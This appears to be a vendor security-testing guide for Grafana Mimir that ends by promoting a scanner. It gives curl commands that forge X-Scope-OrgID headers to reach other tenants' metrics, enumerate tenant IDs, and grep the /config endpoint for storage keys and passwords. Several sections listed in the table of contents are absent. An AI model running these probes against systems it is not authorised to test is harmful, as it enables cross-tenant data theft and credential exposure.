Grafana Mimir Security Testing: Tenant Isolation Bypass, Ruler API Abuse, and Ingester Credential Exposure

Grafana Mimir is a horizontally scalable, multi-tenant distributed time series database designed to replace Prometheus in large-scale deployments. Its security concerns mirror those of Cortex and Thanos: multi-tenant isolation enforced solely by the X-Scope-OrgID HTTP header — if the Mimir distributor or query-frontend is accessed without an authentication proxy, any user can query another tenant's metrics by forging this header, the Mimir Ruler component manages per-tenant alerting rules via a REST API and a compromised tenant can inject rules that silence production alerts or trigger excessive notifications, the internal gRPC interfaces between ingester, compactor, store-gateway, and querier components typically operate without mTLS within the cluster, and object storage credentials (S3/GCS/Azure Blob) embedded in the Mimir configuration give full access to all historical metrics data. This guide covers systematic Mimir security assessment.

Table of Contents

  1. Mimir Discovery and API Enumeration
  2. Tenant Isolation Bypass Testing
  3. Ruler API Alert Rule Injection
  4. Internal gRPC API Exposure
  5. Object Storage Credential Exposure
  6. Mimir Security Hardening

Mimir Discovery and API Enumeration

# Mimir components: distributor, ingester, querier, query-frontend,
#   compactor, store-gateway, ruler, alertmanager
# Default HTTP port: 8080 (all components)
# Default gRPC port: 9095 (all components)

# Mimir ready check — confirms it's running
curl -s http://mimir.example.com:8080/ready 2>/dev/null | head -2
# Returns "ready"

# List configured tenants via admin API (may not require auth)
curl -s http://mimir.example.com:8080/api/v1/labels \
  -H "X-Scope-OrgID: __admin__" 2>/dev/null | head -5

# Query metrics without specifying a tenant (defaults to single-tenant mode)
curl -s "http://mimir.example.com:8080/prometheus/api/v1/query?query=up" 2>/dev/null | \
  python3 -m json.tool | head -10

# Check Mimir configuration endpoint (may expose storage credentials)
curl -s "http://mimir.example.com:8080/config" 2>/dev/null | \
  grep -E "(access_key|secret_key|password|credentials)" | head -10

Tenant Isolation Bypass Testing

# Mimir multi-tenant isolation relies entirely on X-Scope-OrgID header
# If the query-frontend is exposed without an authentication proxy, any tenant ID can be forged

# Query as tenant "team-a" (legitimate tenant)
curl -s "http://mimir.example.com:8080/prometheus/api/v1/query?query=up" \
  -H "X-Scope-OrgID: team-a" 2>/dev/null | python3 -m json.tool | head -10

# Try querying as tenant "team-b" (different tenant — should be isolated)
curl -s "http://mimir.example.com:8080/prometheus/api/v1/query?query=up" \
  -H "X-Scope-OrgID: team-b" 2>/dev/null | python3 -m json.tool | head -10
# If metrics appear for team-b, tenant isolation is bypassed at the API layer

# Enumerate existing tenant IDs (if admin API accessible)
for tenant in admin team-a team-b platform infra prod staging dev; do
  result=$(curl -s -o /dev/null -w "%{http_code}" \
    "http://mimir.example.com:8080/prometheus/api/v1/query?query=up" \
    -H "X-Scope-OrgID: $tenant" 2>/dev/null)
  echo "$tenant: HTTP $result"
done

Mimir Security Hardening

Mimir Security Hardening Checklist:
Security TestMethodRisk
Tenant isolation bypass via forged X-Scope-OrgIDQuery /prometheus/api/v1/query with other tenant's OrgID — metrics returnCritical
Ruler API alert rule injectionPUT /prometheus/config/v1/rules/{namespace} — inject false/suppressive alert rulesHigh
Object storage credentials in configcurl /config — check for S3/GCS access keys in rendered config outputHigh
Unauthenticated gRPC ingester accessgrpc_cli call ingester:9095 without credentials — push arbitrary metricsHigh
Cardinality exhaustion via high-cardinality pushPush metrics with unique label per request — exhausts ingester memoryMedium
Admin API exposed without authenticationcurl /api/v1/admin/tsdb — returns per-tenant storage stats without authMedium

Automate Mimir Security Testing

Ironimo tests Grafana Mimir deployments for multi-tenant isolation bypass via forged X-Scope-OrgID headers, Ruler API alert rule injection silencing production alerts, unauthenticated gRPC APIs for internal components, object storage credential exposure in configuration endpoints, cardinality exhaustion attacks overwhelming the ingester, and admin API access without authentication revealing per-tenant storage metadata.

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